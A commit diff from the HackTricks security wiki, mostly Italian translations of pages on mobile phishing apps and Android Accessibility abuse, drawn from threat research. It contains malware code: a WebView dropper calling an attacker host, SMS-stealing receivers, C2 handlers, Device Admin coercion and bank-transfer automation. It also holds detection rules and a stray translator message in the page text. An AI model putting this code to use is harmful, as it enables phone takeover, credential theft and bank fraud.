Translated ['src/generic-methodologies-and-resources/phishing-methodolog

2025-10-10 18:36:50 +00:00 · 2025-09-29 11:07:17 +00:00 · 2025-09-29 11:07:17 +00:00 · 7cd31a6f8d
commit 7cd31a6f8d
parent c7898b6794
4 changed files with 378 additions and 122 deletions
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
 logger.addHandler(handler2)


-def findtitle(search ,obj, key, path=(),):
+def findtitle(search, obj, key, path=()):
    # logger.debug(f"Looking for {search} in {path}")
    if isinstance(obj, dict) and key in obj and obj[key] == search: 
        return obj, path
@ -54,26 +54,42 @@ def ref(matchobj):
            if href.endswith("/"):
                href = href+"README.md" # Fix if ref points to a folder
            if "#" in  href:
-                chapter, _path = findtitle(href.split("#")[0], book, "source_path")
-                title = " ".join(href.split("#")[1].split("-")).title()
-                logger.debug(f'Ref has # using title: {title}')
+                result = findtitle(href.split("#")[0], book, "source_path")
+                if result is not None:
+                    chapter, _path = result
+                    title = " ".join(href.split("#")[1].split("-")).title()
+                    logger.debug(f'Ref has # using title: {title}')
+                else:
+                    raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
            else:
-                chapter, _path = findtitle(href, book, "source_path")
-                logger.debug(f'Recursive title search result: {chapter["name"]}')
-                title = chapter['name']
+                result = findtitle(href, book, "source_path")
+                if result is not None:
+                    chapter, _path = result
+                    logger.debug(f'Recursive title search result: {chapter["name"]}')
+                    title = chapter['name']
+                else:
+                    raise Exception(f"Chapter not found for path: {href}")
        except Exception as e:
            dir = path.dirname(current_chapter['source_path'])
            rel_path = path.normpath(path.join(dir,href))
            try:
                logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
                if "#" in  href:
-                    chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
-                    title = " ".join(href.split("#")[1].split("-")).title()
-                    logger.debug(f'Ref has # using title: {title}')
+                    result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
+                    if result is not None:
+                        chapter, _path = result
+                        title = " ".join(href.split("#")[1].split("-")).title()
+                        logger.debug(f'Ref has # using title: {title}')
+                    else:
+                        raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
                else:
-                    chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
-                    title = chapter["name"]
-                    logger.debug(f'Recursive title search result: {chapter["name"]}')
+                    result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
+                    if result is not None:
+                        chapter, _path = result
+                        title = chapter["name"]
+                        logger.debug(f'Recursive title search result: {chapter["name"]}')
+                    else:
+                        raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
            except Exception as e:
                logger.debug(e)
                logger.error(f'Error getting chapter title: {rel_path}')
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -768,7 +768,7 @@
    - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
  - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
  - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
  - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
  - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
  - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -837,8 +837,9 @@
  - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
  - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
+- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting.md)

 # 🤖 AI
 - [AI Security](AI/README.md)
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@ -3,63 +3,63 @@
 {{#include ../../banners/hacktricks-training.md}}

 > [!INFO]
-> Questa pagina tratta delle tecniche utilizzate dagli attori delle minacce per distribuire **APK Android malevoli** e **profili di configurazione mobile iOS** attraverso il phishing (SEO, ingegneria sociale, negozi falsi, app di incontri, ecc.).
+> Questa pagina copre le tecniche usate dagli threat actor per distribuire **malicious Android APKs** e **iOS mobile-configuration profiles** tramite phishing (SEO, social engineering, fake stores, dating apps, ecc.).
 > Il materiale è adattato dalla campagna SarangTrap esposta da Zimperium zLabs (2025) e da altre ricerche pubbliche.

 ## Attack Flow

 1. **SEO/Phishing Infrastructure**
-* Registrare dozzine di domini simili (incontri, condivisione cloud, servizio auto…).
-– Utilizzare parole chiave e emoji nella lingua locale nell'elemento `<title>` per posizionarsi su Google.
-– Ospitare *sia* le istruzioni di installazione Android (`.apk`) che iOS sulla stessa pagina di atterraggio.
+* Registrare dozzine di domini look-alike (dating, cloud share, car service…).
+– Usare parole chiave nella lingua locale ed emoji nell'elemento `<title>` per posizionarsi su Google.
+– Ospitare *sia* le istruzioni di installazione Android (`.apk`) sia quelle iOS sulla stessa landing page.
 2. **First Stage Download**
-* Android: link diretto a un APK *non firmato* o “negozio di terze parti”.
-* iOS: `itms-services://` o link HTTPS semplice a un profilo **mobileconfig** malevolo (vedi sotto).
+* Android: link diretto a un APK *unsigned* o da “third-party store”.
+* iOS: `itms-services://` o link HTTPS semplice a un **mobileconfig** profile malevolo (vedi sotto).
 3. **Post-install Social Engineering**
-* Al primo avvio, l'app chiede un **codice di invito / verifica** (illusione di accesso esclusivo).
-* Il codice è **POSTato su HTTP** al Command-and-Control (C2).
-* C2 risponde `{"success":true}` ➜ il malware continua.
-* L'analisi dinamica di Sandbox / AV che non invia un codice valido non vede **comportamenti malevoli** (evasione).
+* Al primo avvio l'app richiede un **invitation / verification code** (illusione di accesso esclusivo).
+* Il codice viene **POSTato over HTTP** al Command-and-Control (C2).
+* Il C2 risponde `{"success":true}` ➜ il malware continua.
+* Sandbox / AV dynamic analysis che non inviano mai un codice valido non vedono **comportamento maligno** (evasion).
 4. **Runtime Permission Abuse** (Android)
-* Le autorizzazioni pericolose vengono richieste **solo dopo una risposta positiva dal C2**:
+* Le permission pericolose sono richieste solo **dopo una risposta positiva del C2**:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-<!-- Le versioni più vecchie richiedevano anche autorizzazioni SMS -->
+<!-- Older builds also asked for SMS permissions -->
 ```
-* Le varianti recenti **rimuovono `<uses-permission>` per SMS da `AndroidManifest.xml`** ma lasciano il percorso del codice Java/Kotlin che legge gli SMS tramite riflessione ⇒ abbassa il punteggio statico pur rimanendo funzionale su dispositivi che concedono l'autorizzazione tramite abuso di `AppOps` o obiettivi vecchi.
+* Varianti recenti **rimuovono `<uses-permission>` per SMS da `AndroidManifest.xml`** ma lasciano il percorso Java/Kotlin che legge gli SMS via reflection ⇒ abbassa il punteggio statico pur rimanendo funzionale su dispositivi dove la permission è concessa tramite `AppOps` abuse o su target vecchi.
 5. **Facade UI & Background Collection**
-* L'app mostra viste innocue (visualizzatore SMS, selettore galleria) implementate localmente.
-* Nel frattempo, esfiltra:
+* L'app mostra view innocue (SMS viewer, gallery picker) implementate localmente.
+* Nel frattempo esfiltra:
 - IMEI / IMSI, numero di telefono
 - Dump completo di `ContactsContract` (array JSON)
- JPEG/PNG da `/sdcard/DCIM` compressi con [Luban](https://github.com/Curzibn/Luban) per ridurre le dimensioni
- Contenuto SMS opzionale (`content://sms`)
-I payload sono **batch-zippati** e inviati tramite `HTTP POST /upload.php`.
+- JPEG/PNG da `/sdcard/DCIM` compressi con [Luban](https://github.com/Curzibn/Luban) per ridurre la dimensione
+- SMS opzionali (`content://sms`)
+I payload vengono **batch-zippati** e inviati via `HTTP POST /upload.php`.
 6. **iOS Delivery Technique**
-* Un singolo **profilo di configurazione mobile** può richiedere `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ecc. per iscrivere il dispositivo in una supervisione simile a “MDM”.
-* Istruzioni di ingegneria sociale:
-1. Aprire Impostazioni ➜ *Profilo scaricato*.
-2. Toccare *Installa* tre volte (screenshot sulla pagina di phishing).
-3. Fidarsi del profilo non firmato ➜ l'attaccante ottiene i diritti su *Contatti* e *Foto* senza revisione dell'App Store.
+* Un singolo **mobile-configuration profile** può richiedere `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, ecc. per iscrivere il dispositivo in una supervisione tipo “MDM”.
+* Istruzioni di social-engineering:
+1. Apri Impostazioni ➜ *Profile downloaded*.
+2. Tocca *Install* tre volte (screenshot sulla pagina di phishing).
+3. Trust il profilo non firmato ➜ l'attaccante ottiene i privilegi su *Contacts* & *Photo* senza revisione App Store.
 7. **Network Layer**
-* HTTP semplice, spesso sulla porta 80 con intestazione HOST come `api.<phishingdomain>.com`.
+* Plain HTTP, spesso su porta 80 con HOST header tipo `api.<phishingdomain>.com`.
 * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (no TLS → facile da individuare).

 ## Defensive Testing / Red-Team Tips

-* **Dynamic Analysis Bypass** – Durante la valutazione del malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il ramo malevolo.
-* **Manifest vs. Runtime Diff** – Confrontare `aapt dump permissions` con `PackageManager#getRequestedPermissions()` a runtime; la mancanza di permessi pericolosi è un campanello d'allarme.
-* **Network Canary** – Configurare `iptables -p tcp --dport 80 -j NFQUEUE` per rilevare esplosioni di POST non solidi dopo l'inserimento del codice.
-* **mobileconfig Inspection** – Utilizzare `security cms -D -i profile.mobileconfig` su macOS per elencare `PayloadContent` e individuare diritti eccessivi.
+* **Dynamic Analysis Bypass** – Durante l'analisi del malware, automatizzare la fase del codice di invito con Frida/Objection per raggiungere il ramo maligno.
+* **Manifest vs. Runtime Diff** – Confrontare `aapt dump permissions` con le `PackageManager#getRequestedPermissions()` a runtime; permessi pericolosi mancanti sono un red flag.
+* **Network Canary** – Configurare `iptables -p tcp --dport 80 -j NFQUEUE` per rilevare raffiche di POST sospette dopo l'inserimento del codice.
+* **mobileconfig Inspection** – Usare `security cms -D -i profile.mobileconfig` su macOS per elencare `PayloadContent` e individuare entitlements eccessivi.

 ## Blue-Team Detection Ideas

 * **Certificate Transparency / DNS Analytics** per catturare esplosioni improvvise di domini ricchi di parole chiave.
-* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` da client Dalvik al di fuori di Google Play.
+* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` da client Dalvik fuori dal Play Store.
 * **Invite-code Telemetry** – POST di codici numerici di 6–8 cifre poco dopo l'installazione dell'APK può indicare staging.
-* **MobileConfig Signing** – Bloccare profili di configurazione non firmati tramite politica MDM.
+* **MobileConfig Signing** – Bloccare i configuration profile non firmati tramite policy MDM.

 ## Useful Frida Snippet: Auto-Bypass Invitation Code
 ```python
@ -80,7 +80,7 @@ return conn;
 };
 });
 ```
-## Indicatori (Generici)
+## Indicatori (Generico)
 ```
 /req/checkCode.php        # invite code validation
 /upload.php               # batched ZIP exfiltration
@ -90,26 +90,26 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex

 ## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern

-Questo schema è stato osservato in campagne che abusano di temi legati ai benefici governativi per rubare credenziali UPI indiane e OTP. Gli operatori concatenano piattaforme affidabili per la consegna e la resilienza.
+This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.

-### Catena di consegna attraverso piattaforme fidate
- Video di YouTube come esca → la descrizione contiene un link breve
- Link breve → sito di phishing su GitHub Pages che imita il portale legittimo
- Lo stesso repository GitHub ospita un APK con un falso badge “Google Play” che collega direttamente al file
- Pagine di phishing dinamiche vivono su Replit; il canale di comando remoto utilizza Firebase Cloud Messaging (FCM)
+### Catena di consegna attraverso piattaforme affidabili
+- YouTube video lure → description contains a short link
+- Shortlink → GitHub Pages phishing site imitating the legit portal
+- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file
+- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM)

 ### Dropper con payload incorporato e installazione offline
- Il primo APK è un installer (dropper) che spedisce il vero malware a `assets/app.apk` e invita l'utente a disabilitare Wi‑Fi/dati mobili per ridurre il rilevamento nel cloud.
- Il payload incorporato si installa sotto un'etichetta innocua (ad es., “Aggiornamento Sicuro”). Dopo l'installazione, sia l'installer che il payload sono presenti come app separate.
+- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection.
+- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps.

-Suggerimento per la triage statica (grep per payload incorporati):
+Suggerimento per il triage statico (grep for embedded payloads):
 ```bash
 unzip -l sample.apk | grep -i "assets/app.apk"
 # Or:
 zipgrep -i "classes|.apk" sample.apk | head
 ```
 ### Scoperta dinamica degli endpoint tramite shortlink
- Il malware recupera un elenco di endpoint attivi in formato testo semplice e separato da virgole da uno shortlink; semplici trasformazioni di stringa producono il percorso finale della pagina di phishing.
+- Malware recupera da uno shortlink una lista in plain-text separata da virgole di endpoint attivi; semplici trasformazioni di stringa producono il percorso finale della pagina di phishing.

 Esempio (sanitizzato):
 ```
@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
 UPI credential POST: https://sqcepo.replit.app/addup.php
 SMS upload:           https://sqcepo.replit.app/addsm.php
 ```
-Codice pseudo:
+Pseudo-codice:
 ```java
 String csv = httpGet(shortlink);
 String[] parts = csv.split(",");
@ -127,27 +127,27 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
 String smsPost = parts[1];
 String credsPost = upiPage.replace("gate.htm", "addup.php");
 ```
-### Raccolta di credenziali UPI basata su WebView
- Il passaggio “Effettua il pagamento di ₹1 / UPI‑Lite” carica un modulo HTML dell'attaccante dall'endpoint dinamico all'interno di un WebView e cattura campi sensibili (telefono, banca, PIN UPI) che vengono `POST`ati a `addup.php`.
+### Raccolta delle credenziali UPI tramite WebView
+- Il passaggio “Make payment of ₹1 / UPI‑Lite” carica un form HTML dell'attaccante dall'endpoint dinamico all'interno di una WebView e cattura campi sensibili (telefono, banca, UPI PIN) che vengono inviati con `POST` a `addup.php`.

-Loader minimo:
+Loader minimale:
 ```java
 WebView wv = findViewById(R.id.web);
 wv.getSettings().setJavaScriptEnabled(true);
 wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 ```
-### Auto-propagazione e intercettazione SMS/OTP
- Vengono richieste autorizzazioni aggressive al primo avvio:
+### Self-propagation and SMS/OTP interception
+- Vengono richiesti permessi aggressivi al primo avvio:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.SEND_SMS"/>
 <uses-permission android:name="android.permission.READ_SMS"/>
 <uses-permission android:name="android.permission.CALL_PHONE"/>
 ```
- I contatti vengono utilizzati per inviare SMS smishing in massa dal dispositivo della vittima.
- Gli SMS in arrivo vengono intercettati da un ricevitore di broadcast e caricati con metadati (mittente, corpo, slot SIM, ID casuale per dispositivo) su `/addsm.php`.
+- I contatti vengono ciclati per inviare in massa smishing SMS dal dispositivo della vittima.
+- Gli SMS in arrivo vengono intercettati da un broadcast receiver e caricati con metadata (mittente, corpo, slot SIM, ID casuale per dispositivo) su `/addsm.php`.

-Ricevitore schizzo:
+Bozza del receiver:
 ```java
 public void onReceive(Context c, Intent i){
 SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
@ -162,7 +162,7 @@ postForm(urlAddSms, new FormBody.Builder()
 }
 ```
 ### Firebase Cloud Messaging (FCM) come C2 resiliente
- Il payload si registra a FCM; i messaggi push contengono un campo `_type` utilizzato come interruttore per attivare azioni (ad es., aggiornare i modelli di testo di phishing, attivare/disattivare comportamenti).
+- Il payload si registra a FCM; i messaggi push contengono un campo `_type` usato come switch per attivare azioni (ad es., aggiornare i template di testo per phishing, attivare/disattivare comportamenti).

 Esempio di payload FCM:
 ```json
@ -174,7 +174,7 @@ Esempio di payload FCM:
 }
 }
 ```
-Handler sketch:
+Bozza Handler:
 ```java
@Override
 public void onMessageReceived(RemoteMessage msg){
@ -186,27 +186,179 @@ case "smish": sendSmishToContacts(); break;
 }
 }
 ```
-### Hunting patterns and IOCs
+### Pattern di hunting e IOCs
 - APK contiene un payload secondario in `assets/app.apk`
- WebView carica il pagamento da `gate.htm` ed esfiltra a `/addup.php`
- Esfiltrazione SMS a `/addsm.php`
- Fetch della configurazione tramite shortlink (es., `rebrand.ly/*`) che restituisce endpoint CSV
- App etichettate come generiche “Update/Secure Update”
- Messaggi `data` FCM con un discriminatore `_type` in app non affidabili
+- WebView carica il pagamento da `gate.htm` ed esfiltra verso `/addup.php`
+- Esfiltrazione SMS verso `/addsm.php`
+- Fetch di configurazione guidato da shortlink (es., `rebrand.ly/*`) che restituisce endpoint CSV
+- App etichettate genericamente “Update/Secure Update”
+- Messaggi FCM `data` con un discriminatore `_type` in app non attendibili

-### Detection & defence ideas
- Segnala app che istruiscono gli utenti a disabilitare la rete durante l'installazione e poi caricano un secondo APK da `assets/`.
- Allerta sulla tupla di permessi: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flussi di pagamento basati su WebView.
- Monitoraggio dell'uscita per `POST /addup.php|/addsm.php` su host non aziendali; blocca infrastrutture note.
- Regole EDR mobili: app non affidabili che si registrano per FCM e si ramificano su un campo `_type`.
+### Idee per rilevamento e difesa
+- Segnalare app che istruiscono gli utenti a disabilitare la rete durante l'installazione e poi eseguono il side-load di un secondo APK da `assets/`.
+- Generare allarme sulla tupla di permessi: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flussi di pagamento basati su WebView.
+- Monitoraggio dell'egress per `POST /addup.php|/addsm.php` su host non aziendali; bloccare infrastrutture note.
+- Regole Mobile EDR: app non attendibili che si registrano per FCM e fanno branching su un campo `_type`.

 ---

-## References
+## Abuso di Android Accessibility/Overlay & Device Admin, automazione ATS e orchestrazione relay NFC – studio del caso RatOn
+
+La campagna RatOn banker/RAT (ThreatFabric) è un esempio concreto di come le moderne operazioni di mobile phishing combinino WebView droppers, automazione UI guidata da Accessibility, overlays/ransom, coercizione Device Admin, Automated Transfer System (ATS), crypto wallet takeover e persino orchestrazione relay NFC. Questa sezione astrae le tecniche riutilizzabili.
+
+### Fase-1: WebView → ponte di installazione nativa (dropper)
+Gli attaccanti presentano una WebView che punta a una pagina dell'attaccante e iniettano un'interfaccia JavaScript che espone un installer nativo. Un tap su un bottone HTML richiama codice nativo che installa un APK di second stage incluso negli assets del dropper e poi lo avvia direttamente.
+
+Schema minimo:
+```java
+public class DropperActivity extends Activity {
+@Override protected void onCreate(Bundle b){
+super.onCreate(b);
+WebView wv = new WebView(this);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.addJavascriptInterface(new Object(){
+@android.webkit.JavascriptInterface
+public void installApk(){
+try {
+PackageInstaller pi = getPackageManager().getPackageInstaller();
+PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+int id = pi.createSession(p);
+try (PackageInstaller.Session s = pi.openSession(id);
+InputStream in = getAssets().open("payload.apk");
+OutputStream out = s.openWrite("base.apk", 0, -1)){
+byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
+}
+PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+pi.commit(id, status.getIntentSender());
+} catch (Exception e) { /* log */ }
+}
+}, "bridge");
+setContentView(wv);
+wv.loadUrl("https://attacker.site/install.html");
+}
+}
+```
+Non vedo alcun contenuto. Per favore incolla l'HTML (o il testo/markdown) della pagina che vuoi tradurre. 
+
+Nota: manterrò intatti tag, link, percorsi e codice (non verranno tradotti) e restituirò solo la traduzione del testo rilevante in italiano, conservando tutta la sintassi markdown/html.
+```html
+<button onclick="bridge.installApk()">Install</button>
+```
+Dopo l'installazione, il dropper avvia il payload tramite package/activity esplicito:
+```java
+Intent i = new Intent();
+i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
+startActivity(i);
+```
+Idea per il rilevamento: app non attendibili che chiamano `addJavascriptInterface()` ed espongono metodi simili a quelli di un installer a WebView; APK che contiene un payload secondario incorporato in `assets/` e invoca la Package Installer Session API.
+
+### Flusso di consenso: Accessibility + Device Admin + richieste runtime successive
+Stage-2 apre una WebView che ospita una pagina “Access”. Il suo pulsante invoca un metodo esportato che porta la vittima nelle impostazioni Accessibility e richiede l'abilitazione del servizio malevolo. Una volta concesso, il malware usa Accessibility per cliccare automaticamente attraverso i successivi dialog di autorizzazione runtime (contatti, overlay, manage system settings, ecc.) e richiede Device Admin.
+
+- Accessibility aiuta in modo programmatico ad accettare i prompt successivi trovando pulsanti come “Allow”/“OK” nell'albero dei nodi e simulando clic.
+- Controllo/richiesta permesso overlay:
+```java
+if (!Settings.canDrawOverlays(ctx)) {
+Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
+Uri.parse("package:" + ctx.getPackageName()));
+ctx.startActivity(i);
+}
+```
+Vedi anche:
+
+{{#ref}}
+../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+{{#endref}}
+
+### Overlay phishing/ransom via WebView
+Gli operatori possono inviare comandi per:
+- rendere un overlay a schermo intero da un URL, oppure
+- passare HTML inline che viene caricato in un overlay WebView.
+
+Usi probabili: coercizione (inserimento PIN), apertura del wallet per catturare i PIN, messaggi di riscatto. Tenere un comando per assicurarsi che il permesso per l'overlay sia concesso se mancante.
+
+### Remote control model – text pseudo-screen + screen-cast
+- Low-bandwidth: eseguire periodicamente il dump dell'albero dei nodi Accessibility, serializzare i testi/ruoli/bounds visibili e inviarli al C2 come pseudo-schermo (comandi come `txt_screen` una tantum e `screen_live` continuo).
+- High-fidelity: richiedere MediaProjection e avviare lo screen-casting/registrazione su richiesta (comandi come `display` / `record`).
+
+### ATS playbook (bank app automation)
+Dato un task JSON, aprire l'app bancaria, pilotare l'UI via Accessibility con una combinazione di query testuali e tap per coordinate, e inserire il PIN di pagamento della vittima quando richiesto.
+
+Esempio di task:
+```json
+{
+"cmd": "transfer",
+"receiver_address": "ACME s.r.o.",
+"account": "123456789/0100",
+"amount": "24500.00",
+"name": "ACME"
+}
+```
+Esempi di testi visti in un flusso target (CZ → EN):
+- "Nová platba" → "Nuovo pagamento"
+- "Zadat platbu" → "Inserisci pagamento"
+- "Nový příjemce" → "Nuovo beneficiario"
+- "Domácí číslo účtu" → "Numero di conto nazionale"
+- "Další" → "Avanti"
+- "Odeslat" → "Invia"
+- "Ano, pokračovat" → "Sì, continua"
+- "Zaplatit" → "Paga"
+- "Hotovo" → "Fatto"
+
+Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
+
+### Estrazione della seed phrase dei wallet crypto
+Target come MetaMask, Trust Wallet, Blockchain.com, Phantom. Flusso: sbloccare (PIN rubato o password fornita), navigare in Security/Recovery, rivelare/mostrare la seed phrase, keylog/exfiltrate it. Implementare selettori sensibili alla locale (EN/RU/CZ/SK) per stabilizzare la navigazione tra le lingue.
+
+### Coercizione Device Admin
+Le Device Admin APIs vengono usate per aumentare le opportunità di cattura del PIN e ostacolare la vittima:
+
+- Blocco immediato:
+```java
+dpm.lockNow();
+```
+- Far scadere la credenziale corrente per forzare il cambio (Accessibility cattura il nuovo PIN/password):
+```java
+dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
+```
+- Forzare lo sblocco non biometrico disabilitando le funzionalità biometriche del keyguard:
+```java
+dpm.setKeyguardDisabledFeatures(admin,
+DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
+```
+Nota: Molti controlli di DevicePolicyManager richiedono Device Owner/Profile Owner su versioni recenti di Android; alcune build OEM possono essere più permissive. Validare sempre sul target OS/OEM.
+
+### NFC relay orchestration (NFSkate)
+Stage-3 può installare e lanciare un modulo NFC-relay esterno (es., NFSkate) e perfino passargli un template HTML per guidare la vittima durante il relay. Questo abilita operazioni di cash-out contactless con carta presente insieme a ATS online.
+
+Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
+
+### Set di comandi operatore (esempio)
+- UI/stato: `txt_screen`, `screen_live`, `display`, `record`
+- Social: `send_push`, `Facebook`, `WhatsApp`
+- Sovrapposizioni: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
+- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
+- ATS: `transfer`, `check_limit`, `limit`
+- Dispositivo: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- NFC: `nfs`, `nfs_inject`
+
+### Idee per rilevamento e difesa (stile RatOn)
+- Cercare WebViews con `addJavascriptInterface()` che espongono metodi installer/permission; pagine che terminano in “/access” che attivano prompt di Accessibility.
+- Segnalare app che generano gesti/click di Accessibility ad alta frequenza poco dopo che è stato concesso l'accesso al servizio; telemetria che somiglia a Accessibility node dumps inviati al C2.
+- Monitorare modifiche alle policy di Device Admin in app non attendibili: `lockNow`, scadenza password, toggle di feature keyguard.
+- Allertare su prompt di MediaProjection da app non aziendali seguiti da upload periodici di frame.
+- Rilevare l'installazione/avvio di un'app NFC-relay esterna attivata da un'altra app.
+- Per il banking: imporre conferme out-of-band, binding biometrici e limiti di transazione resistenti all'automazione on-device.
+
+## Riferimenti

 - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
 - [Luban – Android image compression library](https://github.com/Curzibn/Luban)
 - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
 - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
+- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+++ b/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
@ -1,24 +1,24 @@
-# Android Accessibility Service Abuse
+# Abuso dei servizi di Accessibilità Android

 {{#include ../../banners/hacktricks-training.md}}

-## Overview
+## Panoramica

-`AccessibilityService` è stato creato per aiutare gli utenti con disabilità a interagire con i dispositivi Android. Sfortunatamente, le stesse **API di automazione potenti** (navigazione globale, input di testo, invio di gesti, finestre sovrapposte…) possono essere utilizzate dai malware per ottenere **il completo controllo remoto** del dispositivo _senza privilegi di root_.
+`AccessibilityService` è stato creato per aiutare gli utenti con disabilità a interagire con i dispositivi Android. Purtroppo le stesse **API di automazione potenti** (navigazione globale, input di testo, dispatch di gesture, finestre overlay…) possono essere sfruttate da malware per ottenere **controllo remoto completo** sul dispositivo _senza privilegi di root_.

-I moderni trojan bancari Android e i Trojan di accesso remoto (RAT) come **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** e molti altri seguono la stessa ricetta:
+I moderni banking Trojans per Android e i Remote-Access-Trojans (RATs) come **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** e molti altri seguono la stessa ricetta:

-1. Ingegnere sociale la vittima per abilitare un servizio di accessibilità malevolo (il permesso *BIND_ACCESSIBILITY_SERVICE* è considerato "ad alto rischio" e richiede un'azione esplicita da parte dell'utente).
+1. Convincere tramite social engineering la vittima ad abilitare un servizio di accessibilità maligno (il permesso *BIND_ACCESSIBILITY_SERVICE* è considerato "high-risk" e richiede un'azione esplicita dell'utente).
 2. Sfruttare il servizio per
-* catturare ogni evento UI e testo che appare sullo schermo,
-* iniettare gesti sintetici (`dispatchGesture`) e azioni globali (`performGlobalAction`) per automatizzare qualsiasi compito desiderato dall'operatore,
-* disegnare sovrapposizioni a schermo intero sopra app legittime utilizzando il tipo di finestra **TYPE_ACCESSIBILITY_OVERLAY** (nessun prompt `SYSTEM_ALERT_WINDOW`!),
-* concedere silenziosamente ulteriori permessi di runtime cliccando sulle finestre di dialogo di sistema a nome della vittima.
